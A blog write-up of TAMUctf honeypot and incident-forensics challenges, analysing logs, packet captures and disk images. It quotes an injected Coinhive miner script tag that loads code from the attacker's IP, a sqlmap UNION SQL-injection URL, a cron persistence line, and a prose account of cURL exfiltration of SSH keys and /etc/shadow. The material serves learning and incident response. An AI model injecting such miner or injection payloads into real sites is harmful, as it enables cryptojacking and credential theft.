noobintheshell
Mar 26 · 19 min read

And here we are for the 3rd and last part of these write-ups! This part will present the solutions of the HONEYPOT and the scenario-based DRIVE BY INC, READING RAINBOW and MICRO SERVICES challenges.

You can read Part 1 for the WEB, SECURE CODING, NETWORK/PENTEST and ANDROID categories. And Part 2 for the PWN, REVERSING, CRYPTO and MISC categories.

Note: unless otherwise stated, all commands and scripts you will find below are run on macOSX. Especially sed and base64 syntax may slighly differ from Linux versions. Python2 is the preferred interpreter.



[HONEYPOT — 100] Cowrie (solved: 141)

We are given an archive honeypot2.7z (password: tamuctf). This archive contains the material for all the HONEYPOT challenges (one folder per challenge).

We head for the cowrie folder to find the logs to analyze and answer the below questions. Cowrie is an SSH and Telnet honeypot designed to log brute-force attempts and logs in text and JSON format. The logs are found in the log folder. The other folders are not needed here. By quickly looking at the different log files, we see that all the information we need is in the JSON logs. We first decompress all those archives with gzip -d cowrie.json* as we need to analyze them altogether. We will use jq, which is a fantastic tool to parse and filter JSON data.

The login attempt logs look like:

cowrie — login success & failed log format

1. What was the most common src ip (telnet & ssh)?

We filter the logs on the src_ip field, sort, count unique values and sort again to get the top 3 IPs:

cowrie — top source IPs

Answer 1: 211.143.198.161

2. What was the most common telnet username?

This time we want the username field but only if system contains Telnet and the eventid is a login attempt:

cowrie — top telnet usernames

Answer 2: root

3. What was the most common ssh username?

Same but filtering on system contains SSH:

cowrie — top ssh usernames

Answer 2: admin

4. What is the url and channel of the IRC server that the one downloaded script tried to connect to? (url, channel)

Cowrie logs as well the commands executed by the attackers, like:

cowrie — command log format

By filtering all the command.input we see that a script is downloaded from the internet and is executed:

cowrie — command input logs

This downloaded file can be found in the downloads folder. It’s a Perl script for an IRC bot that could be used for malicious activities. The script description shows:

perl IrcBot — description

The configuration shows what IRC server’s URL and channel are used (the default):

perl IrcBot — configuration

Answer 4: irc.quakenet.org, bookz


[HONEYPOT — 100] Dionaea (solved: 111)

Dionaea is the successor of Nepenthes honeypot and its main role is to capture malwares by exposing vulnerable services. Logs can be in JSON format and/or stored in an SQLite database. Like the previous challenge, we start by decompressing all files in the logs folder. The malwares are archived in binaries.tgz* files, we can as well decompress them in the binary folder:

$ for f in ./binaries.tgz*; do tar -xvzf $f -C binaries --strip-components=3; done

1. What was the most common src ip?

This information can be found in the JSON logs that contain the following information:

dionaea — JSON log format

We can filter the src_ip field:

dionaea — top source IPs

Answer 1: ::ffff:192.56.29.24

2. What is the common name for the most commonly downloaded malware?

Out of 130 malware samples we have, 122 have the exact same size 5267459 bytes. We can upload a sample on VirusTotal:

ViruTotal results

Most of the antivirus detect it as Wannacry or Wannycrypt.

Answer 2: Wannacry


[HONEYPOT — 100] Glastopf (solved: 114)

Glastopf is a web application honeypot. It stores events in text files and/or in an SQLite database. We start by decompressing the logs in the log folder.

1. What was the most common src ip?

We can filter all GET and POST requests, select the source IP address column (the 4th), then sort and count unique values:

Glastopf — top source IPs

Answer 1: 85.121.16.8

2. What are the three most commonly requested url besides / get or post? (no slashes, all lowercase, alphabetical (1.ext, a.ext, b.ext))

Same idea as before but with the requested files (7th column):

Glastopf — top file requests

Answer 2: 1.php, confg.php, qq.php


[HONEYPOT — 100] Honeytrap (solved: 126)

HoneyTrap is a honeypot framework which uses sensors or agents to capture traffic to be analyzed by a centralized server. Here is an architecture example from the project documentation:

We get the text and JSON logs in the log folder that we decompress to answer the below questions. The attacker.log* files contain basic attacker’s IP/port information and the attackers.json* files contain all the details of an attacker’s request:

honeytrap — JSON log format

The .attack_connection.data_hex field contains the HTTP request details:

honeytrap — JSON log — HTTP request

1. What was the most common src ip?

We can query either the attacker.log* files as follows:

honeytrap — text top source IPs

or the attackers.json* files:

honeytrap — JSON top source IPs

Answer 1: 5.188.210.12

2. What was the most common user agent?
3. What was the second most common user agent?

These 2 questions can be answered with the same command on the JSON logs by decoding the HTTP request in .attack_connection.data_hex field and getting the User-Agent value:

honeytrap — top user-agents

Answer 2: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64

Answer 3: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36


[HONEYPOT — 100] Suricata (solved: 118)

Suricata is not a honeypot per se, but an IDS/IPS with network monitoring capabilities. The event logs are in JSON format and stored in eve.json* files:

suricata — JSON log format

We have as well access to suricata_ews.log* files in JSON format a well but these come from T-Pot, an all-in-one multiplatform honeypot. We can suppose that all the honeypot logs we got have been gathered with this tool. These logs add more information like geolocalization information or CVE details:

suricata — T-Pot JSON log format

1. What CVE was alerted for the most?

We can simply filter the .alert.cve_id from the T-Pot logs:

suricata — top CVEs

Answer 1: CVE-2006-2369

2. What was the most common signature?

A similar query to get the top .alert.signature:

suricata — top signatures

Answer 2: ET EXPLOIT [PTsecurity] DoublePulsar Backdoor installation communication


[DRIVEBYINC — 100] 0_intrusion (solved: 724)

Welcome to Drive By Inc. We provide all sorts of logistical solutions for our customers. Over the past few years we moved to hosting a large portion of our business on a nice looking website. Recently our customers are complaining that the front page of our website is causing their computers to run extremely slowly. We hope that it is just because we added too much javascript but can you take a look for us just to make sure?

1. What is the full malicious line? (Including any HTML tags)

We are given an index.html file to analyze. We can read the malicious JS script at the end of the document:

index.html snippet

This is a script to mine the Monero crypto money using the Coinhive platform.

Answer 1: <script src = http://10.187.195.95/js/colorbox.min.js></script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()</script></body>


[DRIVEBYINC — 100] 1_logs (solved: 219)

Strange. We don’t know how that got there. We have since gone and removed the offending lines. Maybe one of our developers wanted to make some money on the side. Here is a pcap and some web server logs from the day that users started complaining. Can you figure out if something nefarious happened while we go talk to the devs?

1. What is the ip of the attacker?

By analyzing the PCAP file, we see a port scan followed by a web directory scan. The source address of those 2 scans is the attacker’s IP and the destination address is the attacked web server:

attacker’s web directory scan

Answer 1: 10.187.195.95

2. What ports did they find open? (List low to high ex: 1,2,3)

Still in the PCAP file, we can get all the ports opened by checking the server’s response. If the server responds with a [SYN, ACK] (TCP flags = 0x12) to the attacker, the port is open. As the source port used for the port scan is 62081, we can use the following filter:

wireshark — webserver open ports

The same can be achieved with tshark:

tshark -r capture.pcap -T fields -e tcp.srcport -Y ‘ip.src==10.0.80.17 and ip.dst==10.187.195.95 and tcp.dstport == 62081 and tcp.flags == 0x012’

Answer 2: 22,80

3. What are the names of the web files they found on the server? (List in alphabetical order comma separated ex: a.html,a.php,b.html)

Here it will be easier to parse the Apache access.log file. We can filter the requests of the attacker (column 1) that respond with an HTTP code 200 (column 9) to show the existing files (column 7):

apache.log — web server discovered files

Answer 3: about.html,adminlogin.html,adminlogin.php,contact.html,gallery.html,index.html,services.html,typo.html


[DRIVEBYINC — 100] 2_Analysis (solved: 158)

Apparently none of the devs knew what were talking about. Thanks to your initial findings it looks like this may have been an outside attack. Using the logs we already gave you can you dig deeper and see if you can find more information? In the meantime we will try and get files for you to look at.

1. What time in UTC did the initial scanning start? (mm/dd/yyyy:hh:mm:ss)

We filter on the first packet sent by the attacker to the server (the answer is in UTC time):

wireshark — start of attack (port scan)

Answer 1: 05/22/2018:19:07:35

2. What is the name of the first tool used?

As the first thing the attacker does is a port scan, we can imagine he used Nmap. The only sign I could find was the usage of some NSE script against the web server:

access.log — nmap search

Answer 2: nmap

3. What is the version string of the third tool used?
4. What page was attacked with the third tool?

The attacker first did a port scan with Nmap, followed by a web directory scan (tool cannot be determined) and finally, he scanned the admin login page for SQL injections. The tool signature can be found in the User-Agent:

wireshark — SQL injection scan

Answer 3: sqlmap/1.2.4#stable

Answer 4: adminlogin.php


[DRIVEBYINC — 100] 3_Forensics (solved: 91)

Unfortunately it looks like the attackers used pretty standard tools to hack into our website. It looks like they didn’t modify the web page from the admin interface on the website though. They probably logged into the webserver somehow. Can you see if you can find out how they got credentials to log in?

1. List the compromised usernames in comma separated alphabetical order (website users)

If we check the response to the very last SQLmap query (packet 333926), we see that the attacker was able to get a user and its password’s MD5 hash with the following query:

/adminlogin.php?username=adsf’ UNION ALL SELECT NULL,(SELECT CONCAT(0x716b7a6271,IFNULL(CAST(ID AS CHAR),0x20),0x797570747270,IFNULL(CAST(Password AS CHAR),0x20),0x797570747270,IFNULL(CAST(`User` AS CHAR),0x20),0x7171627871) FROM SqliDB.Users LIMIT 4,1),NULL — EZND&password=adsf

The output is, therefore: junk + id + junk + md5(pass) + junk + user + junk:

wireshark — SQL injection

As the junk strings are always the same we can filter the responses matching You logged in as qkzbq[0-9]yuptrp[0-9a-f]{32}yuptrp.*qqbxq and with some magic:

tshark — get dumped user information

Answer 1: admin,alice,bob,devtest,suzy

2. What username and password combo were the attackers most likely able to get a hold of? (format as username:password)

Only devtest hash can be easily cracked using rainbow tables:

https://crackstation.net/

Answer 2: devtest:driveby


[DRIVEBYINC — 100] 4_privilege_escalation (solved: 73)

We will have to get on to the devs for leaving that account on the website and machine. Some good news is that we finally obtained a disk image of the machine. If the attacker modified the web files on the server they must have had higher privileges than the account you found. See if you can find some information about how they could have done so.

We switch to a Linux box for the next questions to virtualize the filesystem as a light-weight container and have a root shell by using systemd-nspawn. The filesystem can be mounted with systemd-nspawn -i filesystem.image.

1. What is the md5sum of the file that was most likely used or found by the attackers to get higher privileges?

There is a file called setup.sh in the home folder of the user ubuntu that contains the root credentials in clear:

/home/ubuntu/setup.sh
# md5sum setup.sh 
93b74abb459cdd93bd254302fba4dfdf

Answer 1: 93b74abb459cdd93bd254302fba4dfdf

2. What account were the attackers able to escalate to?
3. What is the password for that account?

As seen in the above screenshot…

Answer 2: root

Answer 3: 0A0YlBjrlBXSr14MPz


[DRIVEBYINC — 100] 5_persistence (solved: 66)

Thanks for finding that information out. We have since changed the password for that account. Looks like we might have to spend a few days putting our employees through some security training. Unfortunately since deleting the malicous links off of our home page they have reappeared again. Can you figure out how the attacker was able to re infect our home page?

1. What is the md5sum of the file the attacker is using for persistence?

Once the attacker escalated to root, he dropped a backup.sh file in /root. This script checks if the crypto-miner JS code is present in the index.html page and add it if not:

/root/backup.sh
# md5sum backup.sh
29ff58b6607c824451349183a570cc6c

Answer 1: 29ff58b6607c824451349183a570cc6c

2. What account was created?
3. What group did the attacker add the account to?

As we can read above…

Answer 2: devtest2

Answer 3: sudoers

4. What time of day does the attacker reinfect the machine? (use 24 hr notation ex: 0100 for 1 am)

The backup.sh script is scheduled to run every day at 2.30am:

# crontab -l
30 2 * * 0 root /root/backup.sh > /dev/null 2>&1

Answer 4: 0230


[READINGRAINBOW — 100] 0_Network_Enumeration (solved: 611)

Recently, the office put up a private webserver to store important information about the newest research project for the company. This information was to be kept confidential, as it’s release could mean a large loss for everyone in the office.

Just as the research was about to be published, a competing firm published information eerily similar. Too similar…

Time to take a look through the office network logs to figure out what happened.

1. What is the IP address of the private webserver?

If we filter the PCAP with HTTP requests that have a response code = 200, we only see 2 private web servers: 192.168.11.4 and 192.168.11.7:

tshark — web servers list

However, only 192.168.11.4 serves files:

tshark — web servers files

Answer 1: 192.168.11.4

2. How many hosts made contact with the private webserver that day?

tshark — source IP contacting the web server

Answer 2: 13


[READINGRAINBOW — 100] 1_Discovery (solved: 263)

1. What is the IP address of the host exfiltrating data?

If we filter the web server as source IP, we see some weird DNS queries to 192.168.11.7:

wireshark — DNS data exfiltration

There is some ASCII code that we can decode:

$ echo "534578344952562e382e6166366261663463356662396631"| xxd -r -p
SEx4IRV.8.af6baf4c5fb9f1

A web server doing such DNS queries is really not normal. There are chances that the destination IP is the attacker’s.

Answer 1: 192.168.11.7

2. For how long did the exfiltration happen? (Round to the nearest second. Format: MM:SS)

We can filter the whole packets between the attacker and the web server and get the time difference between the first and last packet:

tshark — first and last packet of exfiltration

Answer 2: 11:09

3. What protocol/s was used to exfiltrate data? (Alphabetical order, all caps, comma separated, with spaces — ex: ABCD, BBCD)

We can list all the protocols used between the web server and the attacker:

tshark — used protocols for data exfiltration

There is more than DNS used, let’s see first some HTTP query:

wireshark — HTTP data exfiltration

Seems we have the same kind of hex encoding as the DNS queries:

$ echo “534578344952562e302e31663862303830303934653136633563303030336564353936623663316335373135626562333066376239646438656234646561323439623037636462363464383439336361396235643362376561343639383837376664316138336564393864343065” | xxd -r -p
SEx4IRV.0.1f8b080094e16c5c0003ed596b6c1c5715beb30f7b9dd8eb4dea249b07cdb64d8493ca9b5d3b7ea4698877fd1a83ed98d40e

And for ICMP, the data is hex encoded too:

wireshark — ICMP data exfiltration

Answer 3: DNS, HTTP, ICMP


[READINGRAINBOW — 100] 2_Exfiltration (solved: 148)

1. What is the name of the stolen file?
2. What is the md5sum of the stolen file?

Let’s analyze the very first data exfiltrated in packet 1278 which is an ICMP packet:

$ echo "534578344952562e37343666373436313663366337393566366536663734363836393665363732653730363436362e52454749535445522e3631353665616236363931663332623833353063343562336663346161646331" | xxd -r -p
SEx4IRV.746f74616c6c795f6e6f7468696e672e706466.REGISTER.6156eab6691f32b8350c45b3fc4aadc1

The data starts with a tag SEx4IRV, followed by another hex encoded string which decodes in totally_nothing.pdf. Then we find a keyword and what seems to be an MD5 hash.

This first packet announces the attacker what file will be exfiltrated next.

Answer 1: totally_nothing.pdf

Answer 2: 6156eab6691f32b8350c45b3fc4aadc1


[READINGRAINBOW — 100] 3_Data (solved: 122)

1. What compression encoding was used for the data?

Let’s look at the next data exfiltrated, HTTP packets 1283 and 1295 after hex decoding:

SEx4IRV.0.1f8b080094e16c5c0003ed596b6c1c5715beb30f7b9dd8eb4dea249b07cdb64d8493ca9b5d3b7ea4698877fd1a83ed98d40eSEx4IRV.1.01ea4cd7deb1bdb00f6b77b6d8018125a755b7a94390a0ca1f50a5a20a103f5ca844040236b82a25bf1250451005b9555339

Each following packet exfiltrated starts with the same tag followed by the packet number and the file data. The packet 0 starts with 1f8b which is the magic number for GZIP.

Answer 1: gzip

2. What is the name and type of the decompressed file? (Format: NAME.TYPE e.g. tamuctf.txt)

We need now to get all HTTP, DNS and ICMP data, in the right order, to reconstruct the exfiltrated compressed file. What we know:

  • the first packet REGISTER announces the file to exfiltrate,
  • the last packet DONE announces the end of the exfiltration,
  • HTTP data exfiltrated is hex encoded,
  • ICMP data exfiltrated is hex encoded,
  • DNS data exfiltrated is hex encoded but each part is split into 5 queries, for instance:
SEx4IRV.534578344952562e34392e63633533633635653934366662.tamuctf.comSEx4IRV.306636346266363039353364633262653036326265633833.tamuctf.com
SEx4IRV.636637363636613637663635653336373065343339663333.tamuctf.com
SEx4IRV.303261646466663535323664666364373437636233636531.tamuctf.com
SEx4IRV.663132326131376366636630643635.tamuctf.com
decodes into:SEx4IRV.49.cc53c65e946fb
0f64bf60953dc2be062bec83
cf7666a67f65e3670e439f33
02addff5526dfcd747cb3ce1
f122a17cfcf0d65

We extract the GZIP file with the following script:

Finally, we uncompress it twice (GZIP + TAR) to get an ELF executable stuff:

exfiltrated file

Answer 2: stuff.elf


[MICROSERVICES — 100] 0_intrusion (solved: 803)

Welcome to MicroServices inc, where do all things micro and service oriented!
Recently we got an alert saying there was suspicious traffic on one of our web servers. Can you help us out?

1. What is the IP Address of the attacker?

We get a PCAP file where we see some weird SSH traffic from 10.91.9.93. According to the banner, the client is using an SSH Python implementation called Paramiko:

wireshark — SSH traffic

The web server IP is 10.83.20.77 as we see it serves some files for other clients. What is interesting though, is that the web server, connects to the attacker’s HTTPS server:

wireshark — SSL traffic

Answer 1: 10.91.9.93


[MICROSERVICES — 100] 1_logs (solved: 228)

Thanks for discovering the malicious IP. We will add it to our block list. We also got a disk image of the web server while you were working. Can you dig a little deeper for us?

1. What user was the attacker able to login as?
2. What is the date & time that the attacker logged in? (MM/DD:HH:MM:SS)

We switch to a Linux box for the next questions to virtualize the filesystem as a light-weight container and have a root shell by using systemd-nspawn. The filesystem can be mounted with systemd-nspawn -i filesystem.image.

If we search the /var/log/auth.log file for the attacker’s IP address we see the attacker connected by SSH with the root account’s private key:

# grep “10\.91\.9\.93” /var/log/auth.log 
Feb 17 00:06:04 ubuntu-xenial sshd[15799]: Accepted publickey for root from 10.91.9.93 port 41592 ssh2: RSA SHA256:lR4653Hv/Y9QthWvXFB2KkNPzQ1r8mItv83OgiCAR4g

Answer 1: root

Answer 2: 02/17:00:06:04


[MICROSERVICES — 100] 2_analysis (solved: 136)

Thanks for that information. Can you take a deeper dive now and figure out exactly how the attacker go in?

1. What is the name of the service that was used to compromise the machine? (All lowercase)
2. What is the md5sum of the initial compromising file?
3. What specific line in the initial compromising file was the most dangerous? (Actual line, spaces in front don’t matter)

We find a docker-compose.yml file in the home directory of the ubuntu user. Docker Compose is used to launch multiple Docker applications. We see it spawns 3 services: web/Apache, db/MariaDB and cache/Redis docker images. The image used for the web server is tamuctf/webfront. We see the root user launching this at 00.03am:

/var/log/auth.log

By looking at the config file docker-compose.yml we see that the host root folder is mounted in the web container’s /tmp folder, which is pretty dangerous as we can access the host filesystem from the container:

/home/ubuntu/docker-compose.yml snippet

So this very line is the most dangerous one and the one that could lead to the compromise of the server:

Answer 3: — /:/tmp

So the initial compromising file is docker-compose.yml:

# md5sum docker-compose.yml 
a2111283f69aafcd658f558b0402fbc4

Answer 2: a2111283f69aafcd658f558b0402fbc4

And the service that led to the server compromise is the Docker service:

Answer 1: docker


[MICROSERVICES — 100] 3_forensics (solved: 47)

Thanks for that information. It seems that one of our developers didn’t pay attention to what he was copying off of the internet. Can you help use figure out the extent of what the attacker was able to do?

1. What are the last names of customers who got compromised? (alphabetical order, Capitalized first letter, comma separated ex: Asdf,Bsdf)
2. What is the md5sum of the file that was used to exfiltrate data initially?
3. What is the md5sum of the file that was stolen after the attacker logged in?

There is a weird file /ljkasdhg that contains the following 2 lines:

/tmp/home/ubuntu/.ssh
/tmp/root/.ssh

Let’s see if we can find where and how this file has been created. We will restrict our search to the Docker folder: /var/lib/docker/overlay2 as this must come from the initial attack. This overlay2 folder shows that the OverlayFS storage driver is used. It contains the various file system layers for images and containers. A recursive grep finds ljkasdgh in:

/var/lib/docker/overlay2/5d6f4f20fa15dd9d3960358e9b6e257821e3ab277a6ff4db92163d926e5c5e8a/diff/entry.sh

This script is used as the entrypoint of the web container and will be executed when the container starts up:

config.v2.json of the web container

It first checks that the database is up and running and then creates the customer database:

entry.sh snippet 1

Answer 1: Billy,Face,Frank,John,Meserole,Orange,Suzy

We then find the malicious code:

entry.sh snippet 2

Remember that the host root folder is mounted in /tmp in the container. So what this snippet does is to:

  • store the paths of the .ssh folders found in the /home and /root of the host in /ljkasdhg,
  • send the files in the folders listed in /ljkasdhg to the attacker with cURL,
  • send /etc/shadow of the host to the attacker with cURL.

As the SSH private key of root is stored in /root/.ssh, the attacker gets full access to the host! The malicious script can be found here.

# md5sum /var/lib/docker/overlay2/5d6f4f20fa15dd9d3960358e9b6e257821e3ab277a6ff4db92163d926e5c5e8a/diff/entry.sh
14b0d800ce6f2882a6f058b45fc500c8

Answer 2: 14b0d800ce6f2882a6f058b45fc500c8

I searched for the answer to the 3rd question for hours but could not find any clue of what the attacker did after his SSH login. I finally tried to use TestDisk to look for deleted files and found that /root/data-dump.sql was deleted. I was not able to restore it though:

testdisk — deleted file

We search this file with find and get it in a docker container. It is a full dump of the MariaDB databases:

# find / -name data-dump.sql 2>/dev/null
/var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/data-dump.sql
# md5sum /var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/data-dump.sql
6d47d74d66e96c9bce2720c8a56f2558

Answer 3: 6d47d74d66e96c9bce2720c8a56f2558


[MICROSERVICES — 100] 4_persistence (solved: 42)

Thanks for that information. We are working on how to recover from this breach. One of the things we need to do is remove any backdoors placed by the attacker. Can you identify what the attacker left behind?

1. What is the new user that was created?

We can simply look at the /etc/passwd file:

# tail -1 /etc/passwd
dev:x:0:0:root:/root:/bin/bash

Answer 1: dev

2. What is the full name of the new docker image that was pulled down?

If we look at the Docker image repository we see an additional image tamuctf/kaliimage.

docker image repository

Answer 2: tamuctf/kaliimage



Conclusion

Thanks again to the TAMUctf team who did a great job in creating so many different and original challenges and entertaining people for so many days!! I do think this is a great CTF for starters for all categories. Moreover, the community on their Discord channel was awesome and a real plus to the overall experience.

I am really looking forward to the next edition!


[Disclaimer]

This post is for educational and awareness purpose only. You are solely responsible for any actions and/or activities related to the material contained within this post. I will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this blog to break the law.

noobintheshell

Written by

Cyber Security Professional and CTFer from Switzerland.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade